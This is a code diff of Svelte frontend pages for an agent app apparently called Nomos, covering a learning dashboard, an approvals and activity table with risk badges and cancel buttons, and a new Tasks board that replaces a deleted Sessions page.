let skills = $state<Skill[]>([])
let loading = $state(true)
let chartEl = $state<HTMLDivElement | null>(null)
async function load() {
loading = true
const [t, tr, p, s] = await Promise.all([
fetchLearningTimeline(),
fetchLearningTrend(),
fetchPatterns(),
fetchSkills()
])
timeline = t
trend = tr
patterns = p
skills = s
loading = false
await tick()
renderChart()
}
onMount(load)
function renderChart() {
if (!chartEl || trend.length === 0) return
chartEl.innerHTML = ''
const xs = trend.map((b) => new Date(b.day).getTime() / 1000)
const succ = trend.map((b) => b.successes)
const fail = trend.map((b) => b.failures)
new uPlot(
{
width: chartEl.clientWidth || 600,
height: 180,
series: [
{},
{ label: 'succeeded', stroke: '#3fb950', width: 2 },
{ label: 'failed', stroke: '#f85149', width: 2 }
],
axes: [{ stroke: '#8b949e' }, { stroke: '#8b949e' }],
scales: { x: { time: true } },
legend: { show: true }
},
[xs, succ, fail],
chartEl
)
}
function fmtDate(iso: string | null): string {
if (!iso) return '—'
return new Date(iso).toLocaleDateString(undefined, { month: 'short', day: 'numeric' })
}
function timelineVariant(item: CapabilityTimelineItem): 'default' | 'secondary' | 'destructive' {
if (item.total === 0 || item.successes === 0) return 'destructive'
if (item.successes === item.total) return 'default'
return 'secondary'
}
</script>
<div class="flex h-full flex-col gap-4 overflow-y-auto p-4 md:p-6">
<h1 class="text-lg font-semibold">Learning</h1>
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Execution outcomes — last 30 days</Card.Title>
<Card.Description class="text-xs">Every gated action, by day it ran, succeeded vs failed.</Card.Description>
</Card.Header>
<Card.Content>
{#if trend.length === 0}
{#if !loading}<p class="py-8 text-center text-sm text-muted-foreground">No executions in the last 30 days yet.</p>{/if}
{:else}
<div bind:this={chartEl} class="w-full"></div>
{/if}
</Card.Content>
</Card.Root>
<Card.Root>
<Card.Header>
<Card.Title class="flex items-center gap-1.5 text-sm"><TrendingUpIcon class="size-4" /> Capability timeline</Card.Title>
<Card.Description class="text-xs">What Nomos has learned to do, ordered by when it first succeeded.</Card.Description>
</Card.Header>
<Card.Content>
<div class="flex flex-col gap-2">
{#each timeline as item (item.verb)}
<div class="flex items-center justify-between gap-3 rounded-lg border px-3 py-2">
<div>
<span class="font-mono text-sm">{item.verb}</span>
<span class="ml-2 text-xs text-muted-foreground">
{item.first_success ? `first succeeded ${fmtDate(item.first_success)}` : 'no successes yet'}
</span>
</div>
<Badge variant={timelineVariant(item)}>{item.successes}/{item.total}</Badge>
</div>
{:else}
{#if !loading}<p class="py-8 text-center text-sm text-muted-foreground">No executions yet.</p>{/if}
{/each}
</div>
</Card.Content>
</Card.Root>
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Patterns</Card.Title>
<Card.Description class="text-xs">Statistically validated behaviors, extracted from outcome feedback.</Card.Description>
</Card.Header>
<Card.Content>
{#if patterns.length === 0}
<p class="py-6 text-center text-sm text-muted-foreground">
No patterns learned yet — patterns emerge once outcome feedback is recorded for repeated actions.
</p>
{:else}
<div class="flex flex-col gap-2">
{#each patterns as p (p.id)}
<div class="flex items-center justify-between gap-3 rounded-lg border px-3 py-2">
<div>
<span class="text-sm">{p.pattern}</span>
<span class="ml-2 text-xs text-muted-foreground">{p.applies_type} · {p.action}</span>
</div>
<Badge variant="outline">{(p.confidence * 100).toFixed(0)}% conf.</Badge>
</div>
{/each}
</div>
{/if}
</Card.Content>
</Card.Root>
<Card.Root>
<Card.Header>
<Card.Title class="flex items-center gap-1.5 text-sm"><SparklesIcon class="size-4" /> Promoted skills</Card.Title>
<Card.Description class="text-xs">Procedures promoted from validated patterns.</Card.Description>
</Card.Header>
<Card.Content>
{#if skills.length === 0}
<p class="py-6 text-center text-sm text-muted-foreground">No skills promoted yet.</p>
{:else}
<div class="flex flex-col gap-2">
{#each skills as s (s.id)}
<div class="flex items-center justify-between gap-3 rounded-lg border px-3 py-2">
<div>
<span class="text-sm">{s.name}</span>
<span class="ml-2 text-xs text-muted-foreground">{s.status}</span>
</div>
{#if s.success_rate != null}
<Badge variant="outline">{(s.success_rate * 100).toFixed(0)}% success</Badge>
{/if}
</div>
{/each}
</div>
{/if}
</Card.Content>
</Card.Root>
</div>

View File

@@ -3,10 +3,10 @@
import {
fetchApprovals,
decideApproval,
fetchExecutions,
fetchRecentActivity,
cancelExecution,
type Approval,
type Execution
type ActivityItem
} from '$lib/api'
import { liveEvents, subscribeEvents } from '$lib/stores/events'
import * as Tabs from '$lib/components/ui/tabs'
@@ -16,30 +16,55 @@
import { toast } from 'svelte-sonner'
let approvals = $state<Approval[]>([])
let executions = $state<Execution[]>([])
let activity = $state<ActivityItem[]>([])
let deciding = $state<string | null>(null)
async function loadApprovals() {
approvals = await fetchApprovals()
}
async function loadExecutions() {
executions = await fetchExecutions()
async function loadActivity() {
activity = await fetchRecentActivity()
}
onMount(() => {
loadApprovals()
loadExecutions()
loadActivity()
const unsubscribe = subscribeEvents()
return unsubscribe
// The activity feed has no dedicated SSE event type yet — a light poll
// keeps it live without waiting for that wiring. Cheap: one query, only
// while this page is open.
const interval = setInterval(loadActivity, 5000)
return () => {
unsubscribe()
clearInterval(interval)
}
})
$effect(() => {
const ev = $liveEvents[0]
if (!ev) return
if (ev.type.startsWith('approval.')) loadApprovals()
if (ev.type.startsWith('execution.')) loadExecutions()
if (ev.type.startsWith('execution.')) loadActivity()
})
function fmtDuration(ms: number | null): string {
if (ms == null) return '—'
if (ms < 1000) return `${ms}ms`
const s = Math.round(ms / 1000)
if (s < 60) return `${s}s`
return `${Math.floor(s / 60)}m ${s % 60}s`
}
function fmtWhen(iso: string): string {
const d = new Date(iso).getTime()
if (!d) return ''
const s = Math.round((Date.now() - d) / 1000)
if (s < 60) return 'just now'
if (s < 3600) return `${Math.floor(s / 60)}m ago`
if (s < 86400) return `${Math.floor(s / 3600)}h ago`
return `${Math.floor(s / 86400)}d ago`
}
async function decide(id: string, decision: 'approve' | 'deny') {
deciding = id
const result = await decideApproval(id, decision)
@@ -56,22 +81,26 @@
const result = await cancelExecution(id)
if (result) {
toast.success('Execution cancelled')
loadExecutions()
loadActivity()
} else {
toast.error('Cancel failed')
}
}
function riskVariant(risk: string): 'default' | 'secondary' | 'destructive' {
if (risk === 'high' || risk === 'critical') return 'destructive'
if (risk === 'medium') return 'secondary'
if (risk === 'destructive') return 'destructive'
if (risk === 'config_mutation') return 'secondary'
return 'default'
}
// Real status vocabulary (internal/httpapi/phase3.go, cmd/nomos): the
// previous version checked statuses ('proposed', 'auto_approved',
// 'verified', 'executing'...) that don't exist anywhere in the actual
// schema — this table was never actually color-coding correctly.
function execStatusVariant(status: string): 'default' | 'secondary' | 'destructive' | 'outline' {
if (['failed', 'timed_out', 'rollback_failed', 'denied'].includes(status)) return 'destructive'
if (['verified', 'auto_approved'].includes(status)) return 'default'
if (['executing', 'verifying'].includes(status)) return 'secondary'
if (['failed', 'denied', 'revoked', 'cancelled'].includes(status)) return 'destructive'
if (status === 'completed') return 'default'
if (['running', 'approved'].includes(status)) return 'secondary'
return 'outline'
}
@@ -87,7 +116,7 @@
<Tabs.Trigger value="approvals">
Approvals {#if pendingApprovals.length}<Badge variant="destructive" class="ml-1">{pendingApprovals.length}</Badge>{/if}
</Tabs.Trigger>
<Tabs.Trigger value="executions">Executions</Tabs.Trigger>
<Tabs.Trigger value="executions">Activity</Tabs.Trigger>
</Tabs.List>
<Tabs.Content value="approvals" class="flex-1 overflow-auto">
@@ -168,31 +197,39 @@
<Table.Row>
<Table.Head>Target</Table.Head>
<Table.Head>Action</Table.Head>
<Table.Head>Risk</Table.Head>
<Table.Head>Status</Table.Head>
<Table.Head>Correlation</Table.Head>
<Table.Head>Started</Table.Head>
<Table.Head>Duration</Table.Head>
<Table.Head>When</Table.Head>
<Table.Head class="text-right">Actions</Table.Head>
</Table.Row>
</Table.Header>
<Table.Body>
{#each executions as execution (execution.id)}
{#each activity as item (item.id)}
<Table.Row>
<Table.Cell class="font-mono text-xs">{execution.target ?? '—'}</Table.Cell>
<Table.Cell>{execution.action}</Table.Cell>
<Table.Cell><Badge variant={execStatusVariant(execution.status)}>{execution.status}</Badge></Table.Cell>
<Table.Cell class="font-mono text-xs text-muted-foreground">{execution.correlation_id}</Table.Cell>
<Table.Cell class="text-xs text-muted-foreground"
>{execution.started_at ? new Date(execution.started_at).toLocaleString() : '—'}</Table.Cell
>
<Table.Cell class="font-mono text-xs">{item.target ?? '—'}</Table.Cell>
<Table.Cell>
<div>{item.verb}</div>
{#if item.summary}
<div class="text-xs text-muted-foreground">{item.summary}</div>
{/if}
{#if item.error}
<div class="text-xs text-destructive">{item.error}</div>
{/if}
</Table.Cell>
<Table.Cell><Badge variant={riskVariant(item.risk_class)}>{item.risk_class}</Badge></Table.Cell>
<Table.Cell><Badge variant={execStatusVariant(item.status)}>{item.status}</Badge></Table.Cell>
<Table.Cell class="text-xs text-muted-foreground">{fmtDuration(item.duration_ms)}</Table.Cell>
<Table.Cell class="text-xs text-muted-foreground">{fmtWhen(item.created_at)}</Table.Cell>
<Table.Cell class="text-right">
{#if ['proposed', 'approved', 'auto_approved', 'executing'].includes(execution.status)}
<Button size="sm" variant="outline" onclick={() => cancel(execution.id)}>Cancel</Button>
{#if ['pending_approval', 'approved', 'running'].includes(item.status)}
<Button size="sm" variant="outline" onclick={() => cancel(item.id)}>Cancel</Button>
{/if}
</Table.Cell>
</Table.Row>
{:else}
<Table.Row>
<Table.Cell colspan={6} class="text-center text-muted-foreground">No executions yet.</Table.Cell>
<Table.Cell colspan={7} class="text-center text-muted-foreground">No activity yet.</Table.Cell>
</Table.Row>
{/each}
</Table.Body>

View File

@@ -1,7 +1,7 @@
<script lang="ts">
import { onMount } from 'svelte'
import { fetchDashboardSummary, type DashboardSummary } from '$lib/api'
import { liveEvents, subscribeEvents, type OikosEvent } from '$lib/stores/events'
import { liveEvents, subscribeEvents } from '$lib/stores/events'
import * as Card from '$lib/components/ui/card'
import { Badge } from '$lib/components/ui/badge'
import { Skeleton } from '$lib/components/ui/skeleton'
@@ -47,10 +47,6 @@
summary?.event_rate.length ? Math.max(...summary.event_rate.map((b) => b.count), 1) : 1
)
function formatEventLabel(ev: OikosEvent) {
return ev.type
}
const totalEntities = $derived(
summary ? Object.values(summary.entities_by_type).reduce((a, b) => a + b, 0) : 0
)
@@ -144,7 +140,8 @@
</Card.Footer>
</Card.Root>
<Card.Root class="@container/card">
<button type="button" class="text-left" onclick={() => (location.hash = '#/signals')}>
<Card.Root class="@container/card transition-colors hover:border-primary/50">
<Card.Header>
<Card.Description>Open signals</Card.Description>
<Card.Title class="text-2xl font-semibold tabular-nums @[250px]/card:text-3xl">
@@ -169,8 +166,10 @@
<div class="text-muted-foreground">Unresolved right now</div>
</Card.Footer>
</Card.Root>
</button>
<Card.Root class="@container/card">
<button type="button" class="text-left" onclick={() => (location.hash = '#/ops')}>
<Card.Root class="@container/card transition-colors hover:border-primary/50">
<Card.Header>
<Card.Description>Pending approvals</Card.Description>
<Card.Title class="text-2xl font-semibold tabular-nums @[250px]/card:text-3xl">
@@ -191,6 +190,7 @@
<div class="text-muted-foreground">Executions in the last 24h</div>
</Card.Footer>
</Card.Root>
</button>
</div>
{#if degradedTypes.length}
@@ -239,7 +239,7 @@
>{ev.severity}</Badge
>
<span class="font-mono text-muted-foreground">{new Date(ev.ts).toLocaleTimeString()}</span>
<span>{formatEventLabel(ev)}</span>
<span>{ev.type}</span>
<span class="truncate text-muted-foreground">{ev.source}</span>
</div>
{:else}

View File

@@ -1,93 +0,0 @@
<script lang="ts">
import { sessions, loadSessions, loadSessionMessages, messages, currentSession } from '$lib/stores/chat'
import { onMount } from 'svelte'
onMount(() => {
loadSessions()
})
</script>
<div class="sessions-page">
<h2>Sessions</h2>
<div class="session-list">
{#each $sessions as session (session.id)}
<button
class="session-card"
class:active={$currentSession === session.id}
onclick={() => {
loadSessionMessages(session.id)
location.hash = '#/chat'
}}
>
<div class="session-title">{session.title || 'Untitled'}</div>
<div class="session-meta">
{new Date(session.last_active_at).toLocaleString()}
</div>
</button>
{:else}
<div class="empty">No sessions yet. Start chatting with Nomos.</div>
{/each}
</div>
</div>
<style>
.sessions-page {
max-width: 720px;
margin: 0 auto;
padding: 2rem 1rem;
}
h2 {
font-size: 1.125rem;
font-weight: 600;
margin-bottom: 1rem;
color: var(--text);
}
.session-list {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.session-card {
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.75rem 1rem;
background: var(--bg-surface);
border: 1px solid var(--border);
border-radius: 8px;
cursor: pointer;
color: var(--text);
font-family: inherit;
font-size: 0.875rem;
text-align: left;
transition: border-color 0.15s;
}
.session-card:hover {
border-color: var(--accent-blue);
}
.session-card.active {
border-color: var(--accent-blue);
background: var(--bg-hover);
}
.session-title {
font-weight: 500;
}
.session-meta {
font-size: 0.75rem;
color: var(--text-muted);
}
.empty {
color: var(--text-muted);
font-size: 0.875rem;
padding: 2rem 0;
text-align: center;
}
</style>

213
web/src/pages/Tasks.svelte Normal file
View File

@@ -0,0 +1,213 @@
<script lang="ts">
import { sessions, loadSessions, loadSessionMessages, deleteSession, newChat } from '$lib/stores/chat'
import { liveEvents, subscribeEvents } from '$lib/stores/events'
import type { Session } from '$lib/api'
import { relativeTime } from '$lib/utils'
import { Badge } from '$lib/components/ui/badge'
import { Button } from '$lib/components/ui/button'
import * as Card from '$lib/components/ui/card'
import PlusIcon from '@lucide/svelte/icons/plus'
import Trash2Icon from '@lucide/svelte/icons/trash-2'
import { onMount } from 'svelte'
// Live board: refetch when a task's lifecycle changes anywhere (the agent set
// a goal, advanced status, raised/answered a question, finished). We subscribe
// to the event store directly rather than via $effect so delivery is
// deterministic. We must scan ALL events newer than the last we saw, not just
// liveEvents[0]: entity.touched fires on every tool call, so a task.status
// event is usually buried below several touches by the time we're notified. A
// short debounce coalesces one task's goal.set + plan.proposed + task.status
// burst into a single refetch.
const TASK_EVENTS = new Set(['task.status', 'goal.set', 'question.raised', 'question.answered'])
onMount(() => {
loadSessions()
const unsubStream = subscribeEvents() // keep the global stream open while the board is up
let lastSeenId = 0
let refreshTimer: ReturnType<typeof setTimeout> | null = null
const unsub = liveEvents.subscribe((evs) => {
if (evs.length === 0) return
const maxId = evs[0].id // newest-first
if (maxId <= lastSeenId) return
const relevant = evs.some((e) => e.id > lastSeenId && TASK_EVENTS.has(e.type))
lastSeenId = maxId
if (relevant) {
if (refreshTimer) clearTimeout(refreshTimer)
refreshTimer = setTimeout(() => loadSessions(), 400)
}
})
return () => {
unsub()
unsubStream()
}
})
// ── Status → display ────────────────────────────────────────────────
type Bucket = 'running' | 'input' | 'done' | 'failed'
function bucket(s: Session): Bucket {
switch (s.status) {
case 'awaiting_input':
return 'input'
case 'done':
return s.outcome === 'failure' ? 'failed' : 'done'
case 'failed':
return 'failed'
default:
return 'running' // active | planning | executing | undefined
}
}
interface StatusStyle {
label: string
dot: string
pulse: boolean
variant: 'default' | 'secondary' | 'destructive' | 'outline'
}
function statusStyle(s: Session): StatusStyle {
switch (bucket(s)) {
case 'input':
return { label: 'Needs input', dot: 'bg-warning', pulse: true, variant: 'secondary' }
case 'done':
return { label: s.outcome === 'partial' ? 'Done · partial' : 'Done', dot: 'bg-success', pulse: false, variant: 'default' }
case 'failed':
return { label: 'Failed', dot: 'bg-destructive', pulse: false, variant: 'destructive' }
default:
return { label: 'Running', dot: 'bg-primary', pulse: true, variant: 'secondary' }
}
}
const FILTERS: { id: 'all' | Bucket; label: string }[] = [
{ id: 'all', label: 'All' },
{ id: 'running', label: 'Running' },
{ id: 'input', label: 'Needs input' },
{ id: 'done', label: 'Done' },
{ id: 'failed', label: 'Failed' }
]
let filter = $state<'all' | Bucket>('all')
const counts = $derived.by(() => {
const c: Record<string, number> = { all: $sessions.length, running: 0, input: 0, done: 0, failed: 0 }
for (const s of $sessions) c[bucket(s)]++
return c
})
const visible = $derived(
filter === 'all' ? $sessions : $sessions.filter((s) => bucket(s) === filter)
)
function heading(s: Session): string {
return s.goal || s.title || 'Untitled task'
}
function openTask(id: string) {
loadSessionMessages(id)
location.hash = '#/chat'
}
function startTask() {
newChat()
location.hash = '#/chat'
}
let confirmDelete = $state<string | null>(null)
function handleDelete(e: MouseEvent, id: string) {
e.stopPropagation()
if (confirmDelete === id) {
deleteSession(id)
confirmDelete = null
} else {
confirmDelete = id
setTimeout(() => { if (confirmDelete === id) confirmDelete = null }, 3000)
}
}
</script>
<div class="mx-auto flex h-full min-h-0 max-w-6xl flex-col p-4 sm:p-6">
<div class="mb-4 flex items-center justify-between gap-3">
<div>
<h2 class="text-lg font-semibold">Tasks</h2>
<p class="text-sm text-muted-foreground">Every task is a goal Nomos works to completion.</p>
</div>
<Button onclick={startTask} class="gap-1.5">
<PlusIcon class="size-4" />
New task
</Button>
</div>
<!-- Filter chips -->
<div class="mb-4 flex flex-wrap gap-1.5">
{#each FILTERS as f}
<button
type="button"
onclick={() => (filter = f.id)}
class="rounded-full border px-2.5 py-1 text-xs transition-colors {filter === f.id
? 'border-primary bg-primary/10 text-foreground'
: 'border-border text-muted-foreground hover:bg-muted/50'}"
>
{f.label}
<span class="ml-1 opacity-60">{counts[f.id] ?? 0}</span>
</button>
{/each}
</div>
<div class="min-h-0 flex-1 overflow-y-auto">
{#if visible.length === 0}
<div class="flex flex-col items-center gap-4 pt-20 text-center">
<p class="max-w-sm text-sm text-muted-foreground">
{filter === 'all'
? 'No tasks yet. Start one and Nomos will plan it, execute it, and report the outcome.'
: `No ${FILTERS.find((f) => f.id === filter)?.label.toLowerCase()} tasks.`}
</p>
{#if filter === 'all'}
<Button onclick={startTask} variant="outline" class="gap-1.5">
<PlusIcon class="size-4" /> Start your first task
</Button>
{/if}
</div>
{:else}
<div class="grid grid-cols-1 gap-3 sm:grid-cols-2 lg:grid-cols-3">
{#each visible as s (s.id)}
{@const st = statusStyle(s)}
<div class="group relative">
<button type="button" class="block w-full text-left" onclick={() => openTask(s.id)}>
<Card.Root class="h-full transition-colors hover:border-primary/50">
<Card.Header class="pb-2">
<div class="flex items-center justify-between gap-2">
<span class="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
<span class="size-2 rounded-full {st.dot} {st.pulse ? 'animate-pulse' : ''}"></span>
{st.label}
</span>
<span class="text-[11px] text-muted-foreground">{relativeTime(s.last_active_at)}</span>
</div>
<Card.Title class="line-clamp-2 text-sm leading-snug">{heading(s)}</Card.Title>
</Card.Header>
<Card.Content class="pt-0">
{#if s.summary}
<p class="line-clamp-3 text-xs text-muted-foreground">{s.summary}</p>
{:else if s.goal && s.title && s.goal !== s.title}
<p class="line-clamp-2 text-xs text-muted-foreground">{s.title}</p>
{:else}
<p class="text-xs italic text-muted-foreground/60">No summary yet.</p>
{/if}
</Card.Content>
</Card.Root>
</button>
<button
type="button"
class="absolute right-2 top-2 flex size-7 items-center justify-center rounded-md text-muted-foreground opacity-0 transition-opacity hover:bg-destructive/10 hover:text-destructive group-hover:opacity-100"
onclick={(e) => handleDelete(e, s.id)}
title={confirmDelete === s.id ? 'Click again to confirm' : 'Delete task'}
aria-label="Delete task"
>
{#if confirmDelete === s.id}
<span class="text-[10px] font-bold text-destructive">Del?</span>
{:else}
<Trash2Icon class="size-4" />
{/if}
</button>
</div>
{/each}
</div>
{/if}
</div>
</div>